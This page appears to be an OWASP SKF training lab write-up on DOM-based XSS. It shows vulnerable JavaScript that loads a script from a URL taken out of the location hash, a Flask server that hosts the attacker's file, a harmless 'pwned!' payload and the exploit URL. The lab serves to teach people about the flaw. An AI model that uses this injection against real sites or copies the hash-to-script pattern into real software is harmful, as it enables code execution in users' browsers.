arrow-left

All pages
gitbookPowered by GitBook
1 of 1

Loading...

Python - XSS-DOM-2

hashtag
Running the app on Docker

circle-check

Now that the app is running let's go hacking!

hashtag
Reconnaissance

hashtag
Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

Inspecting the source code of the application.

We notice the application imports javascript files into the application using this function.

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.

hashtag
Exploitation

We can start building our malicious server and server the application with our malicious js file.

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

We are ready to start our server:

Now we can serve our malicious js file to the application

hashtag
Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

$ sudo docker pull blabla1337/owasp-skf-lab:xss-dom-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-dom-2
function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
    }
    document.head.appendChild(script);
  }, 2000);
}
endpoint = location.hash.slice(5);
from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

@app.route("/<path:path>")
def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip3 install flask
document.getElementsByClassName("panel-body")[0].innerText = "pwned!";
$ python3 evil_server.py
http://0.0.0.0:5000/#xxxxhttp://0.0.0.0:1337
https://owasp.org/www-community/attacks/XSS-DOM-2/owasp.orgchevron-right